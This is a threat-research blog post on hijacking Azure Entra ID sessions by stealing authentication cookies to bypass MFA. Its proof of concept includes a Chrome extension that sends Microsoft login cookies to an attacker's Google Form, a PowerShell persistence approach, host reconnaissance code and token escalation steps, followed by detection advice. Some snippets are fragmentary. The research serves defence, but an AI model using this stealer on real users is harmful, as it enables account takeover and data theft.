Cookie-Bite: How Your Digital Crumbs Let Threat Actors Bypass MFA and Maintain Access to Cloud Environments

Silent and undetectable initial access is the cornerstone of a successful cyberattack. MFA is designed to thwart such unauthorized access, but attackers are constantly evolving their techniques to bypass these defenses.  

Varonis Threat Labs researchers uncovered techniques that attackers are using to bypass MFA using stolen browser cookies. By leveraging custom-made malicious browser extensions and automation scripts, attackers can extract and reuse authentication cookies to impersonate users without needing credentials, while keeping persistence.  

Threat actors often use infostealers to extract authentication tokens directly from a victim’s machine or buy them directly through Dark Markets, allowing adversaries to hijack active cloud sessions without triggering MFA. By injecting these cookies while mimicking the victim’s OS, browser, and network, attackers can evade Conditional Access Policies (CAPs) and maintain persistent access.  

The proof-of-concept demonstrates how session hijacking can grant unauthorized access to Microsoft 365 applications, including Outlook and Teams, enabling further reconnaissance and privilege escalation.  

We cover several key points in our research: 

• How infostealers are stealing cookies 

• The cookie responsible for authentication in Azure 

• Conditional Access Policy and bypass 

• Post-exploitation with a valid session 

• How to detect stolen sessions in Azure logs 

Hungry stealers: How cookies are extracted by Infostealer

Infostealer malware has emerged as a formidable adversary, adept at pilfering sensitive data, including authentication cookies. These malicious programs infiltrate systems to exfiltrate login credentials, session cookies, and authentication tokens, which are then sent to remote servers controlled by cybercriminals.  

With stolen cookies, attackers can hijack active user sessions, impersonate legitimate users, and bypass MFA entirely. Put simply, they steal your identity. 

Most infostealers don’t use the stolen data directly. Instead, they operate within a Malware-as-a-Service (MaaS) model, where different actors play specialized roles. Those roles can include: 

• Infostealer operators developing and distributing malware to infect as many victims as possible 

• Tracers (affiliates) spreading the malware through phishing tactics, malicious ads, or software cracks 

• Darknet marketplaces serving as a hub where cybercriminals sell stolen cookies, credentials, and browser fingerprints in bulk 

• Buyers (from initial access brokers and ransomware groups) purchasing these credentials to gain unauthorized access to cloud services, corporate VPNs, and sensitive platforms 

Once sold, stolen authentication cookies allow attackers to log in as the victim, often bypassing MFA. This technique, known as session hijacking, is widely exploited for corporate breaches, financial fraud, and espionage.  

The paths to cookie theft 

In the evolving landscape of session hijacking, attackers employ multiple techniques to steal authentication cookies, allowing them to bypass MFA and impersonate legitimate users. Infostealers, malware operators, and advanced phishing campaigns all leverage cookie theft as a primary attack vector. 

Primary methods used to steal authentication cookies  

Adversary-in-the-Middle (AITM) 

AITM phishing attacks go beyond traditional credential theft by intercepting authentication tokens and session cookies in real-time. Attackers use reverse proxy tools (e.g., Evilginx, Modlishka, Muraena) to sit between the victim and the legitimate authentication service (e.g., Microsoft 365, Google).  

When the victim logs in, the proxy captures credentials, MFA tokens, and session cookies, allowing the attacker to bypass MFA and hijack the session without needing the user’s password again. This technique is widely used to compromise cloud accounts and bypass modern authentication defenses. 

Browser process memory dumping 

Infostealers exploit the fact that browsers decrypt cookies during active sessions, storing them in memory for quick access. Malware can inject code into running browser processes (e.g., chrome.exe, msedge.exe) to read this memory space and extract cookies in plaintext. This approach bypasses the need to decrypt cookies from disk, as it accesses them post-decryption during active use. 

Malicious browser extensions 

Malicious browser extensions provide attackers with direct access to authentication cookies and session tokens by operating within the browser’s security context. These extensions, often disguised as legitimate tools, request excessive permissions that allow them to interact with web sessions, modify page content, and extract stored authentication data. Once installed, they can access the browser’s storage API, intercept network requests, or inject malicious JavaScript into active sessions to steal real-time session cookies.  

Unlike traditional malware, no process injection or disk decryption is needed, making this technique harder to detect at the endpoint level. Stolen authentication tokens are exfiltrated to the attacker’s server, where they can be replayed to bypass MFA and impersonate the victim. 

Usually, browsers store extensions under the following path (Chrome): 

• Windows: C:\Users\<Your_User_Name>\AppData\Local\Google\Chrome\User Data\Default\Extensions  
• Linux: ~/.config/google-chrome/Default/Extensions/ 
• MacOS ~/Library/Application\ Support/Google/Chrome/Default/Extensions 

Custom browser extensions that aren’t signed can be loaded within Developer Mode enabled and then loaded. 

Decrypting locally stored cookies  

Browsers store authentication cookies in encrypted SQLite databases to maintain session persistence while protecting sensitive user data. However, attackers can extract and decrypt these cookies by obtaining both the stored cookie database and the encryption key used to secure them.  

The method varies depending on the operating system and browser security model, with Windows relying on DPAPI encryption, while Linux and macOS use system-specific keychain mechanisms. 

For example: 

• Session cookies stored on a Mac may be located under “/Library/Application Support/Google/Chrome/Default/Cookies” restricted by Transparency, Consent and Control (TCC) 

On Windows, Chromium-based browsers (Chrome, Edge, Brave, etc.) store authentication cookies in User Data/.../Network/Cookies the main SQLite database contains AES-encrypted cookiesLocal State → Stores the AES encryption key, which is itself encrypted using WindowsData Protection API (DPAPI) 

Since DPAPI binds encryption to the user profile and machine, attackers cannot easily decrypt cookies outside the victim's system. To bypass this, infostealers must either: 

• Decrypt the AES key locally using DPAPI (CryptUnprotectData()) within the infected session. 
• Steal the DPAPI Master Key (C:\Users\...\AppData\Roaming\Microsoft\Protect) to attempt offline decryption. The master key is encrypted with either 
  the user’s password (local user or AD user) or 
  the DPAPI_SYSTEM secret, in the case of built‐in accounts 

	
		
//*
from win32.win32crypt
import CryptProtectData 
import base64 
import sqlite3 
import os 
from Cryptodome.Cipher.AES import new, MODE_GCM # pip install pycryptodomex 
import decrypt 
import json 
from os.path import expandvars 
  
def encrypt_dpapi_blob(decrypted_blob): 
encrypted_blob = CryptProtectData(decrypted_blob, DataDescr="Google Chrome", OptionalEntropy=None, Reserved=None, PromptStruct=None, Flags=0) 
encrypted_blob = b'DPAPI' + encrypted_blob 
encrypted_blob_base64 = base64.b64encode(encrypted_blob) 
return encrypted_blob_base64 
  
def encrypt_cookies(cookies_db, key): 
sqlite3.enable_callback_tracebacks(True) 
 /………/ 
	

Decrypt blob using DPAPI 

Which cookies are the most valuable targets? 

When compromising a device, attackers prioritize cookies based on their potential for further exploitation. The value of stolen cookies depends on both attacker motivations and market demand. In most cases, the most valuable cookies are those that provide long-term access to high-value accounts or allow deep post-exploitation opportunities. 

Session cookies tied to social media accounts (e.g., Facebook, Instagram, Twitter) can be lucrative, especially if the account has a large following, business influence, or access to ad spending accounts. However, their usefulness depends on account status and resale value. 

On the other hand, cookies from active enterprise cloud sessions like Microsoft 365, Google Workspace, orAWS are often more attractive for targeted post-exploitation. A hijacked corporate session can enable attackers to access internal emails, exfiltrate sensitive data, escalate privileges, or even move laterally across an entire enterprise network, potentially leading to full corporate compromise. 

Hijacking Azure authentication 

This research focuses on ESTSAUTH and ESTSAUTHPERSISTENT, two critical authentication cookies used by Azure Entra ID (previously AAD). These cookies maintain authenticated cloud sessions and allow access to Microsoft 365, Azure Portal, and other enterprise applications.  

By hijacking these session tokens, attackers can bypass MFA, impersonate users, and move laterally across cloud environments, making them one of the most valuable targets for infostealers and threat actors. 

Other Cloud Providers Authentication Cookies 

Disclaimer: Our article primarily focuses on Azure authentication-related cookies, but the techniques and approaches shared can also apply to other cloud platforms and services listed in the table above. Practical results may vary depending on the target environment and its defenses due to each service having its own cookie architecture, session handling, and security.   

Role of ESTSAUTH and ESTSAUTHPERSISTENT tokens 

In Azure Entra ID web authentication, ESTSAUTH and ESTSAUTHPERSISTENT are important session tokens stored as browser cookies that represent the user’s authenticated session: 

• ESTSAUTH: This is the primary Azure Entra ID session cookie. It “contains the user’s session information to facilitate SSO.” It is a transient session token, meaning it is valid for the length of the browser session. If the user closes the browser and has not chosen a persistent login, the ESTSAUTH cookie is destroyed, requiring a fresh login next time. By default, an ESTSAUTH cookie (non-persistent session) has a validity of up to 24 hours, after which the user would need to re-authenticate. 
• ESTSAUTHPERSISTENT: This is a persistent version of the Azure Entra ID session cookie. It also contains session information for SSO, but it is stored as a persistent cookie that remains even after the browser is closed. This cookie is set when a user opts to “stay signed in” or when Azure Entra ID’s “Keep me signed in” (KMSI) feature is applied. A persistent session token allows the user to remain logged in across browser restarts for an extended period. By default, the ESTSAUTHPERSISTENT cookie can remain valid for 90 days (the Azure Entra ID default sign-in period) or the duration specified by the policy. This means if a user chooses to stay signed in, they might not be prompted for credentials or MFA again for up to 90 days on that device. Azure Entra ID’s design is to not prompt for reauthentication unless the security posture of the session changes (e.g., password change, explicit sign-out, policy change)  

These cookies play a crucial role in Azure Entra ID’s balance between security and usability. They carry a form of session credential proving the user has recently authenticated and, if applicable, satisfied MFA requirements. For example, after a successful authentication, Azure Entra ID may set an ESTSAUTHPERSISTENT cookie if the user clicked “Yes” to staying signed in. On subsequent logins, the presence of that cookie lets Azure Entra ID instantly authenticate the user without another MFA prompt. In other words, the cookie serves as a proof that “this user already did MFA on this browser, so don’t prompt again,” and grants immediate access. 

In summary, the ESTSAUTH(PERSISTENT) tokens are essentially “keys to the kingdom” for that user session – they prove that MFA was bypassed and enable ongoing access. If an attacker manages to obtain these tokens, they can impersonate the user’s session and bypass the entire login process (including MFA) because Azure Entra ID will treat their session as already authenticated. The following sections explore how attackers accomplish this and how to defend against it. 

These cookies are stored locally in Chrome’s SQLite database located at: 

%LOCALAPPDATA%\Google\Chrome\User Data\Default\Network\Cookies  

Chrome encrypts cookie values using DPAPI, which binds encryption to the current user’s Windows profile. 

Building a custom cookie stealer: A step-by-step PoC 

In this proof-of-concept, we created a persistent cookie stealer that extracts authentication cookies from an active browser session and exfiltrates them each time the victim logs in to Microsoft’s authentication portal. 

This attack bypasses MFA by leveraging session cookies, allowing continued access to cloud services without requiring the user’s credentials. Instead of a one-time cookie theft, this method ensures that valid session cookies are extracted each time the user logs in, maintaining long-term unauthorized access. 

By the end of this PoC, we will have: 

• A custom Chrome extension that monitors authentication events and captures cookies 

• A PowerShell script that automates the extension deployment and ensures persistence 

• A simple exfiltration mechanism to send the cookies to an external collection point 

• A complementary extension to seamlessly inject the captured cookies into the attacker’s browser, facilitating immediate and stealthy session hijacking 

Flow 

The following diagram outlines the end-to-end flow of our Proof of Concept, demonstrating how attackers silently capture, exfiltrate, and reuse authentication cookies to hijack victim cloud sessions: 

Step 1: Creating the Chrome Extension for cookie extraction 

First, we build a Chrome extension that listens for authentication events and steals session cookies when the victim accesses login.microsoftonline.com. 

1.1 Setting up the extension directory 

Create a new directory called CookieStealer Extension. Inside this directory, create two files: 

• manifest.json (Defines permissions and behaviors) 

• background.js (Handles cookie extraction and exfiltration) 

1.2 Configuring manifest.json 

The manifest file defines the extension’s behavior, required permissions, and background scripts. 

Create manifest.json inside the extension directory: 

What this does: 

• Grants permission to access cookies, tabs, and web requests. 

• Limits execution to login.microsoftonline.com. 

• Loads background.js as a background service to run persistently. 

1.3 Writing the cookie extraction logic (background.js) 

The extension extracts cookies each time the victim logs into Microsoft’s authentication portal. 

Create background.js and add the following: 

	
		
//*
function extractAndExfiltrateCookies() { 
    chrome.cookies.getAll({}, (cookies) => { 
        const filteredCookies = cookies.filter(cookie =>             cookie.domain.includes("login.microsoftonline.com") 
        ); 
 
        if (filteredCookies.length === 0) { 
            return; 
        } 
 
        exfiltrateCookiesToGoogleForm(filteredCookies); 
    }); 
} 
 
chrome.tabs.onUpdated.addListener((tabId, changeInfo, tab) => { 
    if (changeInfo.url && changeInfo.url.includes("https://login.microsoftonline.com")) { 
        extractAndExfiltrateCookies(); 
    } 
});  
  
	

Extension Cookie During Login 

The extension listens for authentication requests to login.microsoftonline.com. 

When a login occurs, it extracts the cookies (including ESTSAUTH and ESTSAUTHPERSISTENT). 

I choose to exfiltrate the cookies silently via Google Forms – directly to my personal Drive: 

	
		
//*
 
function exfiltrateCookiesToGoogleForm(cookies) { 
let cookieJson = JSON.stringify(cookies, null, 2); 
  
const formData = new URLSearchParams(); 
formData.append(FIELD_NAME, cookieJson); 
  
fetch(FORM_URL, { 
method: "POST", 
body: formData, 
headers: { 
"Content-Type": "application/x-www-form-urlencoded" 
} 
}).catch(err => {}); 
} 
  
	

Cookie Exfiltration via Google Forms 

With the extension ready, the next step is to automate its deployment. 

After packing the extension into a CRX file and uploading it to VirusTotal, the result shows that no security vendors currently detect it as malicious.

Step 2: Automating deployment with PowerShell 

To automate our extension loading, we will create a PowerShell script that will load the extension into the Chrome user default profile. A part of the code that performed it: 

This PowerShell script loads the extension into a newly started Chrome process. However, the extension remains active only during the lifetime of this Chrome session. Once Chrome closes, the extension will be automatically removed.  

Therefore, it's advisable to schedule this script to run periodically (e.g., every few hours or daily, which can be performed via schedule task or start-up folder).While there are methods to persistently load extensions, such as leveraging registry-based policies or injecting the extension directly into Chrome's Secure Preferences file by bypassing the Message Authentication Code(MAC), these approaches are more complex and typically require administrative privileges. 

Companies might restrict the use of PowerShell scripts. In such cases, we will need to find alternatives, such as Python or VBScript or Macro’s to achieve similar results. 

Step 3: Cookies injection  

After stealing the session cookies, the next step is to inject them into the attacker’s browser to gain the desired access. To accomplish this, we used a Chrome extension called Cookie-Editor (ID: hlkenndednhfkekhgcdicdfddnkalmdm), available from the Chrome Web Store.  

First, copy the cookie data returned from our Google Form, which is already in JSON format. 

Next, we import the copied cookie data into the Cookie-Editor extension. 

Finally, refresh the page to gain access to the target victim’s cloud portal. 

We noticed in the Azure sign-in log that we have two successful authentications within the same Session ID from different locations and browser versions in a short time frame: 

The advantage of this approach is that it grants a valid session to the target user's Azure infrastructure. This remains effective regardless of whether the session duration has timed out or been revoked, as the extension persists and is triggered each time the Microsoft Login is initiated. 

Live Demo

Conclusion 

This PoC demonstrates how an attacker can build a persistent cookie stealer using only a browser extension and PowerShell automation. By leveraging authentication event hooks, the attack ensures that valid session cookies are continuously extracted, providing long-term unauthorized access. 

Key takeaways: 

• This technique does not require a malware infection, but a simple script, making it harder to detect 
• Persistence is achieved via the browser itself, avoiding system modifications 
• Attackers can bypass MFA by stealing session cookies on each login attempt 

CAP in place? Time to work harder 

Overview of Conditional Access Policies 

Conditional Access Policies (CAPs) provide a robust layer of defense by defining specific conditions that must be met before allowing access to cloud resources. CAP evaluates factors such as user location, device compliance, OS versions, or client applications to dynamically enforce security controls, significantly reducing the risk of unauthorized access, even when credentials or sessions are compromised.  

For enhanced enforcement, CAP leverages compliance signals from platforms like Microsoft Intune. Intune enables organizations to set security standards for devices (e.g., ensuring a device is encrypted, updated, or meets OS requirements). Conditional Access then evaluates these signals at each authentication attempt, allowing access only if the specified security conditions are met, and thus strengthening your overall security posture. 

Practical example 

Let's see this in practice by creating a CAP that restricts user access to cloud resources from locations other than Germany, which we've configured as a named, allowed location: 

If we attempt to access resources from outside this allowed location, we’ll encounter blocked access: 

Since the enforced CAP prevents direct access, it’s useful to collect additional details from the user's host to accurately simulate a typical user request. 

We can do this by running an updated PowerShell script that gathers information like the Domain, Hostname, and Operating System: 

	
		
//*
 
# Collect Hostname 
$hostname = $env:COMPUTERNAME 
# Collect Domain Name 
$domainName = (Get-WmiObject Win32_ComputerSystem).Domain 
if ($domainName -eq $hostname) { 
$domainName = "Not Domain Joined" 
} 
} catch { 
$domainName = "Unavailable" 
} 
# Collect OS details 
$operatingSystem = (Get-CimInstance -ClassName Win32_OperatingSystem).Caption 
# Organize collected data 
$data = [PSCustomObject]@{ 
Hostname = $hostname 
DomainName = $domainName 
OperatingSystem = $operatingSystem 
} 
	

 Data Collection via PowerShell 

Furthermore, collecting data such as the user’s Public IP address, browser version, User Agent, and browser history will help identify approved locations and frequently accessed resources within the user's typical session. 

After learning the user's usual interaction patterns with the cloud infrastructure, we can then effectively impersonate the user and bypass certain CAP restrictions. 

Will I stay hungry? Exploring post-exploitation with stolen sessions 

Leveraging Azure Enterprise Applications 

An attacker who successfully authenticates using a stolen session cookie gains access to Azure Enterprise Applications available to that user.  

Each application may hold its own distinct permissions — either directly assigned to the application or delegated via user-level permissions. For example, Outlook leverages the Microsoft Graph API, potentially allowing an attacker to enumerate users within the tenant. 

 Similarly, SharePoint Online might provide file-level write permissions, enabling data modification or further content manipulation. By strategically exploiting these application permissions, an attacker could gather sensitive information, launch targeted phishing campaigns for lateral movement, or — depending on the acquired permissions — register new applications or even create additional users. 

Enterprise application overview 

After successfully hijacking a user session, an attacker’s initial step is likely accessing the Graph Explorer application, which allows querying critical Azure resources such as users, devices, groups, and roles within the compromised tenant. 

In this example, the application utilizes the permission scope User.ReadBasic.All, which provides access to basic user information such as usernames, emails, and display names. With elevated or additional permissions like User.Read.All or Directory.Read.All, an attacker could significantly expand their ability to enumerate more detailed and sensitive data, further escalating their attack capabilities within the tenant. 

Then, we also can have access to https://outlook.office365.com/mail/ and find some interesting personal mail or stored passwords somewhere. 

Tools for Azure Entra ID token manipulation and escalation 

Several security tools facilitate interaction with Azure Entra ID tokens, enabling attackers to exploit authenticated sessions and escalate privileges.  

Popular tools include ROADtools(by Dirk-Jan Mollema), which allows enumeration, token extraction, and cross-application token exchanges via the Family of Client IDs (FOCI); AADInternals(Nestori Syynimaa), which provides extensive functionalities for token manipulation, extraction, and privilege escalation in Azure Active Directory. 

TokenSmith(JumpsecLabs) is designed to easily manipulate, validate, and forge Azure Entra ID tokens. These tools empower attackers and security researchers alike to pivot across Azure services, gain deeper access, enumerate resources, and escalate privileges within compromised Azure environments. 

With a valid authenticated browser session that was captured via stolen cookies, it’s possible to obtain access and refresh tokens without needing the victim's actual credentials. To achieve this, we utilize TokenSmith, a tool designed to simplify the OAuth token retrieval process. Specifically, TokenSmith is used to initiate an OAuth authorization code flow against Microsoft's authentication endpoint (https://login.microsoftonline.com/common/oauth2/v2.0/authorize), specifying Microsoft Teams' client ID (1fec8e78-bce4-4aaf-ab1b-5451cc387264).  

This approach leverages the authenticated cookie session to bypass the usual authentication prompt, directly providing an authorization code. TokenSmith then exchanges this authorization code at the token endpoint (https://login.microsoftonline.com/common/oauth2/v2.0/token), retrieving the Access Token and Refresh Token, along with their associated scopes.  

These tokens indicate the exact permissions and access levels inherited from the victim’s original authenticated session, effectively granting the attacker persistent access until the tokens expire or are revoked. 

By decoding the Access Token, we can extract critical details, such as: 

• Permissions (Scopes) granted to the token 

• Requested resource (Audience) 

• User identity (OID, UPN, Name) and tenant details 

• Application ID (Client ID) to understand which service requested the token 

• Token expiration time and other security attributes 

Since we now possess both the access token and refresh token, we can leverage the previously mentioned tools (ROADtools, AADInternals, TokenSmith, etc.) to request additional tokens and escalate privileges within the tenant.  

This demonstration highlights a critical security concern: we successfully advanced in our post-exploitation phase without requiring the victim’s credentials — only their authenticated session.  

Recommendations 

This research highlights how hijacking Azure Entra ID sessions can provide attackers with persistent access to critical cloud applications and infrastructure. By leveraging stolen session cookies, an adversary can bypass authentication mechanisms, gaining seamless entry into cloud environments without requiring user credentials. 

Beyond initial access, session hijacking can facilitate lateral movement across the tenant, allowing attackers to explore additional resources, access sensitive data, and escalate privileges by abusing existing permissions or misconfigured roles. The ability to impersonate legitimate users creates opportunities for privilege escalation, data exfiltration, and long-term persistence within an organization's cloud environment. 

Understanding these risks is crucial for strengthening defenses against session-based attacks therefore we recommend: 

• Continuously monitor and detect users' abnormal behavior 
• Use Microsoft Risk during sign-in events to detect unusual sign-in 
• Microsoft flagged our sign-in attempts as "atRisk" due to the risk type "anonymizedIPAddress," which was triggered because we used a VPN during the demonstration to bypass CAP.  
• Configure CAP enforcing login from compliant devices only alongside Token Protection 
• Implement Chrome ADMX policies to enforce an allowlist of approved browser extensions 

Explore more content from Varonis Threat Labs.